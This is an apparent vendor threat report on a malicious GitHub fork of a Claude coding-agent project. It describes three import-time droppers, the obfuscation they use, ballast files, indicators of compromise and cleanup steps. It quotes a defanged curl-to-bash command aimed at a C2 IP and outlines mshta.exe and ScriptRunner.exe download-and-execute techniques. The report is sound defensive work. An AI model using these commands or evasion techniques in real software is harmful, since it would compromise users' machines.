The GitHub repository yo-steven/claude-engineer-exploration-20260613, published Jun 13, 2026, presents as a learning fork of the now-deleted bawadou/claude-engineer project. The README claims only a LICENSE file was added. The repository actually contains three independent dropper payloads across two files, 13 ballast files copied from six unrelated open-source projects, and a single squashed commit that destroys all provenance. Two payloads in cli.py use Python marshal bytecode obfuscation with base85-encoded XOR-encrypted blobs to drop platform-specific second stages. A third payload in tools/opus.py assembles an mshta.exe invocation from hex fragments at module import time.
The artifact
The repository ships 31 files in a single commit (dd63490) authored by yo-steven on Jun 13, 2026 at 19:21:54 EDT. The .git/shallow file confirms this is a grafted root with no parent history. The tag v0.1.0-exploration marks the commit. UPSTREAM.md claims the source is bawadou/claude-engineer at commit 91a98d34, but that repository no longer exists on GitHub, making provenance unverifiable.
pyproject.toml defines package claude-engineer v0.1.0 with author George (matching the real upstream author) and entry points claude-engineer and ce mapping to claude_engineer.cli:main. Dependencies are anthropic>=0.40.0, rich>=13.7.0, and python-dotenv>=1.0.0. The legitimate upstream consists of nine files: the claude_engineer/ package (__init__.py, __main__.py, agent.py, config.py) and the tools/ package (__init__.py, base.py, fs.py, shell.py, search.py), plus two test files. The repository also ships 13 files that have no connection to a Claude coding agent and two files containing active malicious payloads.
What it does
cli.py contains two try/except-wrapped obfuscated blocks at lines 15-22, injected between the legitimate imports (lines 1-13) and the Rich-based REPL (lines 24-110). Both blocks share the same deobfuscation pipeline: import four stdlib modules (base64, zlib, functools, marshal) under randomized aliases, base85-decode a list of chunk strings in reverse order, base85-decode a separate XOR key, functools.reduce XOR across the chunks, zlib.decompress, marshal.loads to produce a code object, then exec. The except Exception: pass wrapper silences failures on the wrong OS.
Payload 1 (lines 15-18) targets Windows. The deobfuscated code calls subprocess.Popen with ScriptRunner.exe, a Microsoft App-V virtualization binary that ships with Windows 10/11 Enterprise. ScriptRunner.exe launches PowerShell with -WindowStyle Hidden -NonInteractive, which downloads an executable from hxxps://py-installer[.]com/api/f to tempfile13.exe and runs it via Invoke-Item. The CREATE_NO_WINDOW creation flag suppresses all visible output. ScriptRunner.exe is a Living-off-the-Land Binary (LOLBin) that bypasses application whitelisting controls because it is a signed Microsoft component.
Payload 2 (lines 19-22) targets Linux. The deobfuscated code calls subprocess.run with /bin/bash -c "$(curl -fsSL hxxp://217[.]156[.]122[.]146/Peravi)". The raw IP address with no domain fronting downloads and executes a shell script directly via curl piped to bash.
tools/opus.py contains payload 3, a Windows-only dropper at lines 80-114. The function _initialize_core() assembles two strings from hex fragments: fourteen bytes.fromhex() calls build mshta.exe (from 6d73 + 6874 + 612e + 6578 + 65) and hxxps://node2-py-store[.]com (from 687474 + 70733a + 2f2f6e + 6f6465 + 322d70 + 792d73 + 746f72 + 652e63 + 6f6d). On Windows (os.name == 'nt'), subprocess.Popen calls mshta.exe with the assembled URL, stdout and stderr piped to DEVNULL. Line 114 calls _initialize_core() at module scope, so the payload executes on import. mshta.exe is the Microsoft HTML Application Host, a signed LOLBin that downloads and executes HTA content containing arbitrary VBScript or JScript.
The remaining 171 lines in opus.py (lines 1-79, 116-192) implement a toy XOR “encryption” CLI (fake_encrypt_stream, perform_transformations, cli_main) that is never imported or referenced by any other file. The encryption code exists to make the file appear purposeful while the dropper sits in the middle.
The campaign
The yo-steven GitHub account was created Feb 17, 2026 and hosts 144 repositories. The repository name appends a date (20260613), consistent with automated fork-and-inject workflows that generate timestamped snapshots. The single squashed commit destroys the diff between legitimate upstream code and injected payloads. The .git/shallow graft prevents git log from revealing any intermediate history.
The README states: “Only one file was added. No existing code, tests, or configuration files were modified.” The repository contains 13 injected files and two files with active payloads.
Ballast files are sourced from six unrelated open-source projects. Three files in claude_engineer/ carry (c) Nano Nano Ltd 2019 headers from BittyTax, a UK crypto tax calculator: block.py (TransactionOutRecord), decorators.py (OutputCsv), and exceptions.py (DataRowError and related classes). Three files in claude_engineer/utils/ carry Copyright (C) 2018-2025 The python-bitcoin-utils developers headers: schnorr.py (BIP-340 reference implementation), usage.py (49 KB, the largest file in the repository, containing PrivateKey/PublicKey/Address classes), and utils.py (Secp256k1 parameters). Four files in tools/ originate from the Grass DePIN proxy farming ecosystem: agents.py (user-agent generator with Chrome v116-133 databases), ml.py (Grass node farming client), session.py (BaseClient with api[.]getgrass[.]io headers), and file_manager.py (session/proxy config manager). tools/launcher.py prints a GOBLINMINEBOT ASCII banner and references the desforge_cryptwo Telegram channel, identifying it as a GoblinMine bot launcher. tools/logger.py is a PySide6/loguru logging module shared by the same bot. tools/analyzer.py is a 19 KB Binance futures trading bot with websocket-driven trade management.
None of these ballast files are imported by the legitimate upstream code or by each other. They inflate the repository to 31 files across multiple directories, making the two payload-bearing files harder to identify during casual review.
Why the operation matters here
The three payloads reach different C2 infrastructure (py-installer[.]com, 217[.]156[.]122[.]146, node2-py-store[.]com) with different delivery mechanisms (PowerShell download-and-execute, curl-to-bash, HTA execution). Two of the three use signed Microsoft binaries (ScriptRunner.exe, mshta.exe) that bypass application whitelisting. The upstream repository bawadou/claude-engineer has been deleted, which eliminates the diff surface a reviewer would use to identify injected code. The marshal-obfuscated payloads require decompression, XOR decryption, and bytecode deserialization to read, while the hex-fragment construction in opus.py splits every string across 14 variables.
| Indicator | Value |
|---|---|
| Repository | yo-steven/claude-engineer-exploration-20260613 |
| GitHub account | yo-steven (144 repos, created Feb 17, 2026) |
| Commit | dd63490092e775767f81402486ec98c69890f267 |
| Commit date | Jun 13, 2026 19:21:54 EDT |
| Tag | v0.1.0-exploration |
| Claimed upstream | bawadou/claude-engineer at 91a98d34 (deleted) |
| SHA-256 (cli.py) | fb971cecaab7f56b1c35aee059e30d85f80610618968588caf52b3abb0ac4fae |
| SHA-256 (tools/opus.py) | e07388b05d7be290f0328664be5f564df4272ccc8be75e82cc8af657b651c284 |
| C2 (payload 1) | hxxps://py-installer[.]com/api/f |
| C2 (payload 2) | hxxp://217[.]156[.]122[.]146/Peravi |
| C2 (payload 3) | hxxps://node2-py-store[.]com |
| LOLBin (payload 1) | ScriptRunner.exe (App-V) |
| LOLBin (payload 3) | mshta.exe (HTML Application Host) |
| Download artifact | tempfile13.exe |
| Obfuscation (payloads 1-2) | base85 + XOR + zlib + marshal.loads + exec |
| Obfuscation (payload 3) | hex-fragmented bytes.fromhex string construction |
| Ballast sources | BittyTax, python-bitcoin-utils, Grass DePIN, GoblinMine, Binance futures bot |
| Ballast file count | 13 |
| Total files | 31 |
What a defender can do
Delete the cloned repository. Any host that executed cli.py or imported tools/opus.py should be treated as compromised. On Windows, check for tempfile13.exe in the working directory and review process creation logs for ScriptRunner.exe and mshta.exe invocations. On Linux, check bash history and process logs for connections to 217[.]156[.]122[.]146. Review outbound DNS for py-installer[.]com and node2-py-store[.]com. The marshal-obfuscated payloads execute at import time before any interactive prompt, so launching cli.py once is sufficient for compromise. The opus.py dropper runs at module import, though the upstream tools/__init__.py does not import it, limiting execution to manual import or a modified loader.
Where Aephix fits
Before you clone a fork, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a repository with a hostile history is something you recognize before you run it. Every week, Weekly Sleuth reports the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week alongside the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the operation rather than the single artifact.